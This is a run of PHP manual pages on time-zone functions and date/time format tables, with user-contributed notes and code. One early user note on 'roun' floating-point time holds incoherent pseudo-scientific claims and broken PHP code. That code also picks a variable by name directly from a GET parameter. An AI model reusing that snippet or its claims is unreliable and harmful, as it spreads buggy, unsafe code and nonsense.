    if (preg_match('/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)
        || preg_match('/(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)) {
            $unix_time = mktime($pieces[4], $pieces[5], $pieces[6], $pieces[2], $pieces[3], $pieces[1]);
    } elseif (preg_match('/\d{4}\-\d{2}\-\d{2} \d{2}:\d{2}:\d{2}/', $mysql_timestamp)
        || preg_match('/\d{2}\-\d{2}\-\d{2} \d{2}:\d{2}:\d{2}/', $mysql_timestamp)
        || preg_match('/\d{4}\-\d{2}\-\d{2}/', $mysql_timestamp)
        || preg_match('/\d{2}\-\d{2}\-\d{2}/', $mysql_timestamp)) {
            $unix_time = strtotime($mysql_timestamp);
    } elseif (preg_match('/(\d{4})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)
        || preg_match('/(\d{2})(\d{2})(\d{2})/', $mysql_timestamp, $pieces)) {
            $unix_time = mktime(0, 0, 0, $pieces[2], $pieces[3], $pieces[1]);
    }
  return $unix_time;
}
?>
lsd25 at hotmail dot com 01-Sep-2007 04:53
I did an article on floating point time you can download from my website. Roun movements is the radial ounion movement and there is a quantum ounion movement as well, this code will generate the data for http://www.chronolabs.org.au/bin/roun-time-article.pdf which is an article on floating point time, I have created the calendar system as well for this time. It is compatible with other time and other solar systems with different revolutions of the planets as well as different quantumy stuff.

Thanks:

<?php
if ($gmt>0){
        $gmt=-$gmt;
    } else {
        $gmt=$gmt+$gmt+$gmt;
    }

    $ptime = strtotime('2008-05-11 10:05 AM')+(60*60*gmt);
    $weight = -20.22222222223+(1*gmt);

    $roun_xa = ($tme)/(24*60*60);
    $roun_ya = $ptime/(24*60*60);
    $roun = (($roun_xa -$roun_ya) - $weight)+(microtime/999999);

    $nonedeficient = array("seq1" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq2" => array(31,30,31,30,31,30,31,30,31,30,31,30),
                           "seq3" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq4" => array(31,30,31,30,30,30,31,30,31,30,31,30));

    $deficient =     array("seq1" => array(31,30,31,30,30,30,31,30,31,30,31,30),
                           "seq2" => array(31,30,31,30,31,30,31,30,31,30,31,30),
                           "seq3" => array(31,30,31,30,31,30,31,30,30,30,31,30),
                           "seq4" => array(30,30,31,30,31,30,31,30,31,30,31,30));

    $monthusage = isset($_GET['deficienty']) ? ${$_GET['deficienty']} : $deficient;

    foreach($monthusage as $key => $item){
        $i++;
        foreach($item as $numdays){
            $ttl_num=$ttl_num+$numdays;
        }
    }

    $revolutionsperyear = $ttl_num / $i;
    $numyears = round((round(ceil($roun)) / $revolutionsperyear),0);

    $jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));

    while($month==0){
        $day=0;
        foreach($monthusage as $key => $item){
            $t++;
            $u=0;
            foreach($item as $numdays){
                if ($ii<abs($roun)){
                    $isbelow=true;
                }
                $ii=$ii+$numdays;
                if ($ii>abs($roun)){
                    $isabove=true;
                }
                if ($isbelow==true&&$isabove==true){
                    $daynum = floor(($ii-$numday)-abs($roun));
                    $month = $u;
                    $month++;
                    $isbelow=false;
                    $isabove=false;
                    $nodaycount=true;
                }
                if ($nodaycount==false)
                    $day++;
                $u++;
            }
        }

    }

    $timer = substr($roun, strpos($roun,'.')+1,strlen($roun)-strpos($roun,'.')-1);

    $roun_out= $numyears.'-'.$month.'-'.$daynum.' '.$day.".$timer";

?>
send at mail dot 2aj dot net 08-Jun-2006 08:58
If you want to create a "rounded" time stamp, for example, to the nearest 15 minutes use this as a reference:

<?php
$round_numerator = 60 * 15 // 60 seconds per minute * 15 minutes equals 900 seconds
//$round_numerator = 60 * 60 or to the nearest hour
//$round_numerator = 60 * 60 * 24 or to the nearest day

// Calculate time to nearest 15 minutes!
$rounded_time = ( round ( time() / $round_numerator ) * $round_numerator );

//If it was 12:40 this would return the timestamp for 12:45;
//3:04, 3:00; etc.
?>
aidan at php dot net 08-Oct-2005 02:14
A simple function for calculating the number of seconds, minutes, etc in a timestamp is here:
http://aidanlister.com/2004/04/making-time-periods-readable/

Example:
<?php
echo time_duration(100000000);
// 3 years, 2 months, 19 hours, 22 minutes, 16 seconds

echo time_duration(100000000, null, true);
// 3 years, 2 months, 0 weeks, 0 days, 19 hours, 22 minutes, 16 seconds

echo time_duration(100000000, 'yMw');
// 3 years, 2 months

echo time_duration(100000000, 'd');
// 1157 days
?>

It is also worth noting:
* For manipulating arbitrary format, or length timestamps, see the PEAR::Date class.
http://pear.php.net/package/Date/
* PHP 6 will be shipping a new inbuilt date and timestamp manipulation API. It's available on PECL here:
http://pecl.php.net/package/datetime
mayank_arya at hotmail dot com 29-May-2003 03:13
Here's one way to generate all intermediate dates (in mySQL format) between any 2 dates.
Get start and end dates from user input, you'd need to do the basic validations that :
- start and end dates are valid dates
- start date <= end date.

<?php
//start date 2001-02-23
$sm=2;
$sd=23;
$sy=2001;

//end date 2001-03-14
$em=3;
$ed=14;
$ey=2001;

//utc of start and end dates
$s=mktime(0,0,0,$sm, $sd, $sy);
$e=mktime(0,0,0,$em, $ed, $ey);

while($s<=$e){
print date('Y-m-d',$s)."< br >"; //display date in  mySQL format
$s=$s+86400; //increment date by 86400 seconds(1 day)
}

Hope this helps :)

?>


Alias of DateTimeZone::listAbbreviations

  • « time
  • timezone_identifiers_list »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0)

timezone_abbreviations_list — Alias of DateTimeZone::listAbbreviations()

Description

This function is an alias of: DateTimeZone::listAbbreviations()

User Contributed Notes

dustinalan 21-Apr-2010 10:58
This was driving me nuts so I'm adding a note here.

Took a while to get the simple time zone abbreviation for a given time zone. If you have the name just do this:

<?php
$dateTime = new DateTime();
$dateTime->setTimeZone(new DateTimeZone('America/Los_Angeles'));
return $dateTime->format('T');
?>

Will return PST

[red.: Or PDT is the current date/time is during Daylight Savings Time]
Chris Danielson 01-Oct-2008 06:46
The mention of using 'US/Pacific-New' is actually a deprecated process.

See here:  http://us.php.net/manual/en/timezones.others.php

Where it is described:

Please do not use any of the timezones listed here (besides UTC), they only exist for backward compatible reasons.
drizzt321 at gmail dot com 20-Aug-2008 06:54
If anyone is confused about the US/Pacific-New that appears in the list, apparently it has something to do with a bill that was that was passed by the House in 1989, but never signed into law. It has to do with delaying the switchover until after the election. Read more about it at http://catless.ncl.ac.uk/Risks/13.87.html and it should be the first posting. Or just do a search for US/Pacific-New.


Alias of DateTimeZone::listIdentifiers

  • « timezone_abbreviations_list
  • timezone_location_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0)

timezone_identifiers_list — Alias of DateTimeZone::listIdentifiers()

Description

This function is an alias of: DateTimeZone::listIdentifiers()

User Contributed Notes

paul at burney dot ws 06-May-2009 10:33
Please note that the timezone_identifiers_list function is not available in the most recent versions of PHP available for CentOS/RHEL as of this writing ( 5.1.6-23.2.el5_3 ).

I think the function is labeled as >= 5.1.0 in this documentation because it's possible to get the Date::Time class installed in 5.1 if you're compiling from scratch (or it's a documentation error).

I just spent a bunch of time trying to get it to work in 5.1 (installing timezonedb manually because the default PECL runs out of memory, etc.), but have decided to use a manually generated list instead. The actual timezone support seems to work fine in 5.1.
david at mytton dot net 22-Feb-2009 05:11
A better code snippet to return useful timezone information that can be used in a drop menu, for example:

<?php
$zones = timezone_identifiers_list();

foreach ($zones as $zone)
{
    $zone = explode('/', $zone); // 0 => Continent, 1 => City

    // Only use "friendly" continent names
    if ($zone[0] == 'Africa' || $zone[0] == 'America' || $zone[0] == 'Antarctica' || $zone[0] == 'Arctic' || $zone[0] == 'Asia' || $zone[0] == 'Atlantic' || $zone[0] == 'Australia' || $zone[0] == 'Europe' || $zone[0] == 'Indian' || $zone[0] == 'Pacific')
    {
        if (isset($zone[1]) != '')
        {
            $locations[$zone[0]][$zone[0]. '/' . $zone[1]] = str_replace('_', ' ', $zone[1]); // Creates array(DateTimeZone => 'Friendly name')
        }
    }
}
?>

The $locations array will contain a multi-dimensional array for each continent like

Array
(
    [Africa] => Array
        (
            [Africa/Abidjan] => Abidjan
            [Africa/Accra] => Accra
            [Africa/Addis_Ababa] => Addis Ababa
            [Africa/Algiers] => Algiers
            ...
        )
    [America] => Array
        (
            [America/Adak] => Adak
            [America/Anchorage] => Anchorage
            [America/Anguilla] => Anguilla
            ...
vats_tco at comcast dot net 19-Nov-2007 07:14
This is the updated code from below. This one has been debugged so it doesn't receive any warnings or errors like the code below will receive. Hope this helps.

<?php
function get_tz_options($selectedzone, $label, $desc = '')
{
  echo '<div class="label"><label for="edited_user_timezone">'.$label.':</label></div>';
  echo '<div class="input"><select name="edited_user_timezone">';
  function timezonechoice($selectedzone) {
    $all = timezone_identifiers_list();

    $i = 0;
    foreach($all AS $zone) {
      $zone = explode('/',$zone);
      $zonen[$i]['continent'] = isset($zone[0]) ? $zone[0] : '';
      $zonen[$i]['city'] = isset($zone[1]) ? $zone[1] : '';
      $zonen[$i]['subcity'] = isset($zone[2]) ? $zone[2] : '';
      $i++;
    }

    asort($zonen);
    $structure = '';
    foreach($zonen AS $zone) {
      extract($zone);
      if($continent == 'Africa' || $continent == 'America' || $continent == 'Antarctica' || $continent == 'Arctic' || $continent == 'Asia' || $continent == 'Atlantic' || $continent == 'Australia' || $continent == 'Europe' || $continent == 'Indian' || $continent == 'Pacific') {
        if(!isset($selectcontinent)) {
          $structure .= '<optgroup label="'.$continent.'">'; // continent
        } elseif($selectcontinent != $continent) {
          $structure .= '</optgroup><optgroup label="'.$continent.'">'; // continent
        }

        if(isset($city) != ''){
          if (!empty($subcity) != ''){
            $city = $city . '/'. $subcity;
          }
          $structure .= "<option ".((($continent.'/'.$city)==$selectedzone)?'selected="selected "':'')." value=\"".($continent.'/'.$city)."\">".str_replace('_',' ',$city)."</option>"; //Timezone
        } else {
          if (!empty($subcity) != ''){
            $city = $city . '/'. $subcity;
          }
          $structure .= "<option ".(($continent==$selectedzone)?'selected="selected "':'')." value=\"".$continent."\">".$continent."</option>"; //Timezone
        }

        $selectcontinent = $continent;
      }
    }
    $structure .= '</optgroup>';
    return $structure;
  }
  echo timezonechoice($selectedzone);
  echo '</select>';
  echo '<span class="notes"> '.$desc.' </span></div>';
}
?>


Alias of DateTimeZone::getLocation

  • « timezone_identifiers_list
  • timezone_name_from_abbr »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0)

timezone_location_get — Alias of DateTimeZone::getLocation()

Description

This function is an alias of: DateTimeZone::getLocation()

User Contributed Notes

There are no user contributed notes for this page.


Returns the timezone name from abbreviation

  • « timezone_location_get
  • timezone_name_get »
  • PHP Manual
  • Date/Time Functions
  • Returns the timezone name from abbreviation

timezone_name_from_abbr

(PHP 5 >= 5.1.3)

timezone_name_from_abbr — Returns the timezone name from abbreviation

Description

string timezone_name_from_abbr ( string $abbr [, int $gmtOffset = -1 [, int $isdst = -1 ]] )

Parameters

abbr

Time zone abbreviation.

gmtOffset

Offset from GMT in seconds. Defaults to -1 which means that first found time zone corresponding to abbr is returned. Otherwise exact offset is searched and only if not found then the first time zone with any offset is returned.

isdst

Daylight saving time indicator. Defaults to -1, which means that whether the time zone has daylight saving or not is not taken into consideration when searching. If this is set to 1, then the gmtOffset is assumed to be an offset with daylight saving in effect; if 0, then gmtOffset is assumed to be an offset without daylight saving in effect. If abbr doesn't exist then the time zone is searched solely by the gmtOffset and isdst.

Return Values

Returns time zone name on success or FALSE on failure.

Examples

Example #1 A timezone_name_from_abbr() example

<?php
echo timezone_name_from_abbr("CET") . "\n";
echo timezone_name_from_abbr("", 3600, 0) . "\n";
?>

The above example will output something similar to:

Europe/Berlin
Europe/Paris

See Also

  • timezone_abbreviations_list() - Alias of DateTimeZone::listAbbreviations

User Contributed Notes

Master Tablu 24-Feb-2009 04:03
Another way to do this is to wrap the function in a class that extends the DateTimeZone class:

<?php

/**
 * Helps with timezones.
 * @link http://us.php.net/manual/en/class.datetimezone.php
 *
 * @package  Date
 */
class Helper_DateTimeZone extends DateTimeZone
{
    /**
     * Converts a timezone hourly offset to its timezone's name.
     * @example $offset = -5, $isDst = 0 <=> return value = 'America/New_York'
     *
     * @param float $offset The timezone's offset in hours.
     *                      Lowest value: -12 (Pacific/Kwajalein)
     *                      Highest value: 14 (Pacific/Kiritimati)
     * @param bool  $isDst  Is the offset for the timezone when it's in daylight
     *                      savings time?
     *
     * @return string The name of the timezone: 'Asia/Tokyo', 'Europe/Paris', ...
     */
    final public static function tzOffsetToName($offset, $isDst = null)
    {
        if ($isDst === null)
        {
            $isDst = date('I');
        }

        $offset *= 3600;
        $zone    = timezone_name_from_abbr('', $offset, $isDst);

        if ($zone === false)
        {
            foreach (timezone_abbreviations_list() as $abbr)
            {
                foreach ($abbr as $city)
                {
                    if ((bool)$city['dst'] === (bool)$isDst &&
                        strlen($city['timezone_id']) > 0    &&
                        $city['offset'] == $offset)
                    {
                        $zone = $city['timezone_id'];
                        break;
                    }
                }

                if ($zone !== false)
                {
                    break;
                }
            }
        }

        return $zone;
    }
}
?>

Then you could do something like this:

<?php
$Dtz = new Helper_DateTimeZone(Helper_DateTimeZone::tzOffsetToName(-5));
var_dump($Dtz->getName());

string(16) "America/New_York"
?>
chris at mretc dot net 11-Nov-2008 02:25
timezone_name_from_abbr() sometimes returns FALSE instead of an actual timezone: http://bugs.php.net/44780

It's possible to workaround it for some cases by getting the timezone name from timezone_abbreviations_list(). For example, if you have the GMT offset and want a timezone name:

<?php
/* Takes a GMT offset (in hours) and returns a timezone name */
function tz_offset_to_name($offset)
{
        $offset *= 3600; // convert hour offset to seconds
        $abbrarray = timezone_abbreviations_list();
        foreach ($abbrarray as $abbr)
        {
                foreach ($abbr as $city)
                {
                        if ($city['offset'] == $offset)
                        {
                                return $city['timezone_id'];
                        }
                }
        }

        return FALSE;
}
?>


Alias of DateTimeZone::getName

  • « timezone_name_from_abbr
  • timezone_offset_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0)

timezone_name_get — Alias of DateTimeZone::getName()

Description

This function is an alias of: DateTimeZone::getName()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTimeZone::getOffset

  • « timezone_name_get
  • timezone_open »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0)

timezone_offset_get — Alias of DateTimeZone::getOffset()

Description

This function is an alias of: DateTimeZone::getOffset()

User Contributed Notes

[d][a][n][at][authenticdesign][.][net] 22-May-2008 12:02
Hi,
This might help someone with timezone differences. I wanted to find the offset in seconds between my timezone and a remote timezone so I wrote this function and it seems to work well for me.

<?php
/**    Returns the offset from the origin timezone to the remote timezone, in seconds.
*    @param $remote_tz;
*    @param $origin_tz; If null the servers current timezone is used as the origin.
*    @return int;
*/
function get_timezone_offset($remote_tz, $origin_tz = null) {
    if($origin_tz === null) {
        if(!is_string($origin_tz = date_default_timezone_get())) {
            return false; // A UTC timestamp was returned -- bail out!
        }
    }
    $origin_dtz = new DateTimeZone($origin_tz);
    $remote_dtz = new DateTimeZone($remote_tz);
    $origin_dt = new DateTime("now", $origin_dtz);
    $remote_dt = new DateTime("now", $remote_dtz);
    $offset = $origin_dtz->getOffset($origin_dt) - $remote_dtz->getOffset($remote_dt);
    return $offset;
}
?>
Examples:
<?php
// This will return 10800 (3 hours) ...
$offset = get_timezone_offset('America/Los_Angeles','America/New_York');
// or, if your server time is already set to 'America/New_York'...
$offset = get_timezone_offset('America/Los_Angeles');
// You can then take $offset and adjust your timestamp.
$offset_time = time() + $offset;
?>

Happy Coding!!
richard at phase dot org 20-Mar-2007 12:05
The following extended example may make the usage clearer;
<?php
// Create two timezone objects, one for Taipei (Taiwan) and one for
// Tokyo (Japan)
$dateTimeZoneTaipei = new DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new DateTimeZone("Asia/Tokyo");

// Create two DateTime objects that will contain the same Unix timestamp, but
// have different timezones attached to them.
$dateTimeTaipei = new DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new DateTime("now", $dateTimeZoneJapan);

// NOTE: $dateTimeJapan is not used further in this example

// Calculate the GMT offset for the date/time contained in the $dateTimeTaipei
// object, but using the timezone rules as defined for Tokyo
// ($dateTimeZoneJapan).
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);

// Should show int(32400) (for dates after Sat Sep 8 01:00:00 1951 JST).
print("Number of seconds Japan is ahead of GMT at the specific time: ");
var_dump($timeOffset);

print("<br />Number of seconds Taipei is ahead of GMT at the specific time: ");
var_dump($dateTimeZoneTaipei->getOffset($dateTimeTaipei));

print("<br />Number of seconds Japan is ahead of Taipei at the specific time: ");
var_dump($dateTimeZoneJapan->getOffset($dateTimeTaipei)
     -$dateTimeZoneTaipei->getOffset($dateTimeTaipei));

print("<hr />");

?>

Number of seconds Japan is ahead of GMT at the specific time: int(32400)
Number of seconds Taipei is ahead of GMT at the specific time: int(28800)
Number of seconds Japan is ahead of Taipei at the specific time: int(3600)


Alias of DateTimeZone::__construct

  • « timezone_offset_get
  • timezone_transitions_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0)

timezone_open — Alias of DateTimeZone::__construct()

Description

This function is an alias of: DateTimeZone::__construct()

User Contributed Notes

There are no user contributed notes for this page.


Alias of DateTimeZone::getTransitions

  • « timezone_open
  • timezone_version_get »
  • PHP Manual
  • Date/Time Functions
  • Alias of DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0)

timezone_transitions_get — Alias of DateTimeZone::getTransitions()

Description

This function is an alias of: DateTimeZone::getTransitions()

User Contributed Notes

There are no user contributed notes for this page.


Gets the version of the timezonedb

  • « timezone_transitions_get
  • Supported Date and Time Formats »
  • PHP Manual
  • Date/Time Functions
  • Gets the version of the timezonedb

timezone_version_get

(PHP 5 >= 5.3.0)

timezone_version_get — Gets the version of the timezonedb

Description

string timezone_version_get ( void )

Returns the current version of the timezonedb.

Return Values

Returns a string.

Examples

Example #1 Getting the timezonedb version

<?php
echo timezone_version_get();
?>

The above example will output something similar to:

2009.7

See Also

  • List of Supported Timezones

User Contributed Notes

Omar 15-Sep-2011 07:15
On Ubutu:
If you get 0.system for the version, this means you have the version that PHP shipped with. For a newer version, you must upgrade via the PECL extension (sudo pecl install timezonedb)

http://pecl.php.net/package/timezonedb
Ubuntu 16-Jun-2011 07:35
On Ubuntu 11.04 it returns the string "0.system".


Supported Date and Time Formats

Table of Contents

  • Time Formats
  • Date Formats
  • Compound Formats
  • Relative Formats

This section describes all the different formats that the strtotime(), DateTime and date_create() parser understands. The formats are grouped by section. In most cases formats from different sections can be used in the same date/time string. For each of the supported formats, one or more examples are given, as well as a description for the format. Characters in single quotes in the formats are case-insensitive ('t' could be t or T), characters in double quotes are case-sensitive ("T" is only T).

User Contributed Notes

PRETTYGIRL NOT COMe 12-Sep-2013 05:52
I am afraid that there are some misleading expressions in this chapter "Supported Date and Time Formats".

eg.
(i) "MM & II" in "Time Formats" express "minutes & seconds" whereas "II & SS" often do the same in other places --- to avoid mistaking "M of minites" for "M of month".

(ii) The Format for "doy" in "Compound Formats" does not allow "000" shown in the Example.

(iii) "M / MM" in Table "Localized Notations" in "Compound Formats" are used for "month" whereas "MM" allows 00-59 according to the Table "Used Symbols".


Time Formats

This page describes the different time formats that the strtotime(), DateTime and date_create() parser understands.

Used Symbols
Description | Formats | Examples
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "7", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
MM | [0-5][0-9] | "00", "12", "59"
II | [0-5][0-9] | "00", "12", "59"
space | [ \t] |
tz | "("? [A-Za-z]{1,6} ")"? | [A-Z][a-z]+([_/][A-Z][a-z]+)+ | "CEST", "Europe/Amsterdam", "America/Indiana/Knox"
tzcorrection | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
12 Hour Notation
Description | Format | Examples
Hour only, with meridian | hh space? meridian | "4 am", "5PM"
Hour and minutes, with meridian | hh [.:] MM space? meridian | "4:08 am", "7:19P.M."
Hour, minutes and seconds, with meridian | hh [.:] MM [.:] II space? meridian | "4:08:37 am", "7:19:19P.M."
MS SQL (Hour, minutes, seconds and fraction with meridian), PHP 5.3 and later only | hh ":" MM ":" II [.:] [0-9]+ meridian | "4:08:39:12313am"
24 Hour Notation
Description | Format | Examples
Hour and minutes | 't'? HH [.:] MM | "04:08", "19.19", "T23:43"
Hour and minutes, no colon | 't'? HH MM | "0408", "t1919", "T2343"
Hour, minutes and seconds | 't'? HH [.:] MM [.:] II | "04.08.37", "t19:19:19"
Hour, minutes and seconds, no colon | 't'? HH MM II | "040837", "T191919"
Hour, minutes, seconds and timezone | 't'? HH [.:] MM [.:] II space? ( tzcorrection | tz ) | "040837CEST", "T191919-0700"
Hour, minutes, seconds and fraction | 't'? HH [.:] MM [.:] II frac | "04.08.37.81412", "19:19:19.532453"
Time zone information | tz | tzcorrection | "CEST", "Europe/Amsterdam", "+0430", "GMT-06:00"

User Contributed Notes

There are no user contributed notes for this page.


Date Formats

This page describes the different date formats that the strtotime(), DateTime and date_create() parser understands.

Used Symbols
Description | Format | Examples
daysuf | "st" | "nd" | "rd" | "th" |
dd | ([0-2]?[0-9] | "3"[01]) daysuf? | "7th", "22nd", "31"
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "07", "31"
m | 'january' | 'february' | 'march' | 'april' | 'may' | 'june' | 'july' | 'august' | 'september' | 'october' | 'november' | 'december' | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' | "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" | "XI" | "XII" |
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
mm | "0"? [0-9] | "1"[0-2] | "0", "04", "7", "12"
MM | "0" [0-9] | "1"[0-2] | "00", "04", "07", "12"
y | [0-9]{1,4} | "00", "78", "08", "8", "2008"
yy | [0-9]{2} | "00", "08", "78"
YY | [0-9]{4} | "2000", "2008", "1978"
Localized Notations
Description | Format | Examples
American month and day | mm "/" dd | "5/12", "10/27"
American month, day and year | mm "/" dd "/" y | "12/22/78", "1/17/2006", "1/17/6"
Four digit year, month and day with slashes | YY "/" mm "/" dd | "2008/6/30", "1978/12/22"
Four digit year and month (GNU) | YY "-" mm | "2008-6", "2008-06", "1978-12"
Year, month and day with dashes | y "-" mm "-" dd | "2008-6-30", "78-12-22", "8-6-21"
Day, month and four digit year, with dots, tabs or dashes | dd [.\t-] mm [.-] YY | "30-6-2008", "22.12\t1978"
Day, month and two digit year, with dots or tabs | dd [.\t] mm "." yy | "30.6.08", "22\t12\t78"
Day, textual month and year | dd ([ \t.-])* m ([ \t.-])* y | "30-June 2008", "22DEC78", "14 III 1879"
Textual month and four digit year (Day reset to 1) | m ([ \t.-])* YY | "June 2008", "DEC1978", "March 1879"
Four digit year and textual month (Day reset to 1) | YY ([ \t.-])* m | "2008 June", "1978-XII", "1879.MArCH"
Textual month, day and year | m ([ .\t-])* dd [,.stndrh\t ]+ y | "July 1st, 2008", "April 17, 1790", "May.9,78"
Textual month and day | m ([ .\t-])* dd [,.stndrh\t ]* | "July 1st,", "Apr 17", "May.9"
Day and textual month | d ([ .\t-])* m | "1 July", "17 Apr", "9.May"
Month abbreviation, day and year | M "-" DD "-" y | "May-09-78", "Apr-17-1790"
Year, month abbreviation and day | y "-" M "-" DD | "78-Dec-22", "1814-MAY-17"
Year (and just the year) | YY | "1978", "2008"
Textual month (and just the month) | m | "March", "jun", "DEC"
ISO8601 Notations
Description | Format | Examples
Eight digit year, month and day | YY MM DD | "15810726", "19780417", "18140517"
Four digit year, month and day with slashes | YY "/" MM "/" DD | "2008/06/30", "1978/12/22"
Two digit year, month and day with dashes | yy "-" MM "-" DD | "08-06-30", "78-12-22"
Four digit year with optional sign, month and day | [+-]? YY "-" MM "-" DD | "-0002-07-26", "+1978-04-17", "1814-05-17"

Note:

For the y and yy formats, years below 100 are handled in a special way when the y or yy symbol is used. If the year falls in the range 0 (inclusive) to 69 (inclusive), 2000 is added. If the year falls in the range 70 (inclusive) to 99 (inclusive) then 1900 is added. This means that "00-01-01" is interpreted as "2000-01-01".

Note:

The "Day, month and two digit year, with dots or tabs" format (dd [.\t] mm "." yy) only works for the year values 61 (inclusive) to 99 (inclusive) - outside those years the time format "HH [.:] MM [.:] SS" has precedence.

Note:

The "Year (and just the year)" format only works if a time string has already been found -- otherwise this format is recognised as HH MM.

Note:

It is possible to over- and underflow the dd and DD format. Day 0 means the last day of previous month, whereas overflows count into the next month. This makes "2008-08-00" equivalent to "2008-07-31" and "2008-06-31" equivalent to "2008-07-01" (June only has 30 days).

It is also possible to underflow the mm and MM formats with the value 0. A month value of 0 means December of the previous year. As example "2008-00-22" is equivalent to "2007-12-22".

If you combine the previous two facts and underflow both the day and the month, the following happens: "2008-00-00" first gets converted to "2007-12-00" which then gets converted to "2007-11-30". This also happens with the string "0000-00-00", which gets transformed into "-0001-11-30" (the year -1 in the ISO 8601 calendar, which is 2 BC in the proleptic Gregorian calendar).

User Contributed Notes

fernandopsilveira at yahoo dot com dot br 16-Sep-2014 04:01
If you use one of the "textual month + day" formats (like "July 1st" or "17 Apr"), current year is assumed.


Compound Formats

This page describes the different compound date/time formats that the strtotime(), DateTime and date_create() parser understands.

Used Symbols
Description | Formats | Examples
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "02", "12", "31"
doy | "00"[1-9] | "0"[1-9][0-9] | [1-2][0-9][0-9] | "3"[0-5][0-9] | "36"[0-6] | "36"[0-6] "000", "012", "366"
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "7", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
ii | [0-5][0-9] | "04", "8", "59"
II | [0-5][0-9] | "04", "08", "59"
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
MM | [0-5][0-9] | "00", "12", "59"
space | [ \t] |
ss | [0-5][0-9] | "04", "8", "59"
SS | [0-5][0-9] | "04", "08", "59"
W | "0"[1-9] | [1-4][0-9] | "5"[0-3] | "05", "17", "53"
tzcorrection | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
YY | [0-9]{4} | "2000", "2008", "1978"
Localized Notations
Description | Format | Examples
Common Log Format | dd "/" M "/" YY : HH ":" II ":" SS space tzcorrection | "10/Oct/2000:13:55:36 -0700"
EXIF | YY ":" MM ":" DD " " HH ":" II ":" SS | "2008:08:07 18:11:31"
ISO year with ISO week | YY "-"? "W" W | "2008W27", "2008-W28"
ISO year with ISO week and day | YY "-"? "W" W "-"? [0-7] | "2008W273", "2008-W28-3"
MySQL | YY "-" MM "-" DD " " HH ":" II ":" SS | "2008-08-07 18:11:31"
PostgreSQL: Year with day-of-year | YY "."? doy | "2008.197", "2008197"
SOAP | YY "-" MM "-" DD "T" HH ":" II ":" SS frac tzcorrection? | "2008-07-01T22:35:17.02", "2008-07-01T22:35:17.03+08:00"
Unix Timestamp | "@" "-"? [0-9]+ | "@1215282385"
XMLRPC | YY MM DD "T" hh ":" II ":" SS | "20080701T22:38:07", "20080701T9:38:07"
XMLRPC (Compact) | YY MM DD 't' hh II SS | "20080701t223807", "20080701T093807"
WDDX | YY "-" mm "-" dd "T" hh ":" ii ":" ss | "2008-7-1T9:3:37"

Note:

The "W" in the "ISO year with ISO week" and "ISO year with ISO week and day" formats is case-sensitive, you can only use the upper case "W".

The "T" in the SOAP, XMRPC and WDDX formats is case-sensitive, you can only use the upper case "T".

The "Unix Timestamp" format sets the timezone to UTC.

User Contributed Notes

There are no user contributed notes for this page.


Relative Formats

This page describes the different relative date/time formats that the strtotime(), DateTime and date_create() parser understands.

Used Symbols
Description | Format
dayname | 'sunday' | 'monday' | 'tuesday' | 'wednesday' | 'thursday' | 'friday' | 'saturday' | 'sun' | 'mon' | 'tue' | 'wed' | 'thu' | 'fri' | 'sat' | 'sun'
daytext | 'weekday' | 'weekdays'
number | [+-]?[0-9]+
ordinal | 'first' | 'second' | 'third' | 'fourth' | 'fifth' | 'sixth' | 'seventh' | 'eighth' | 'ninth' | 'tenth' | 'eleventh' | 'twelfth' | 'next' | 'last' | 'previous' | 'this'
reltext | 'next' | 'last' | 'previous' | 'this'
space | [ \t]+
unit | (('sec' | 'second' | 'min' | 'minute' | 'hour' | 'day' | 'fortnight' | 'forthnight' | 'month' | 'year') 's'?) | 'weeks' | daytext
Day-based Notations
Format | Description | Examples
'yesterday' | Midnight of yesterday | "yesterday 14:00"
'midnight' | The time is set to 00:00:00 |
'today' | The time is set to 00:00:00 |
'now' | Now - this is simply ignored |
'noon' | The time is set to 12:00:00 | "yesterday noon"
'tomorrow' | Midnight of tomorrow |
'back of' hour | 15 minutes past the specified hour | "back of 7pm", "back of 15"
'front of' hour | 15 minutes before the specified hour | "front of 5am", "front of 23"
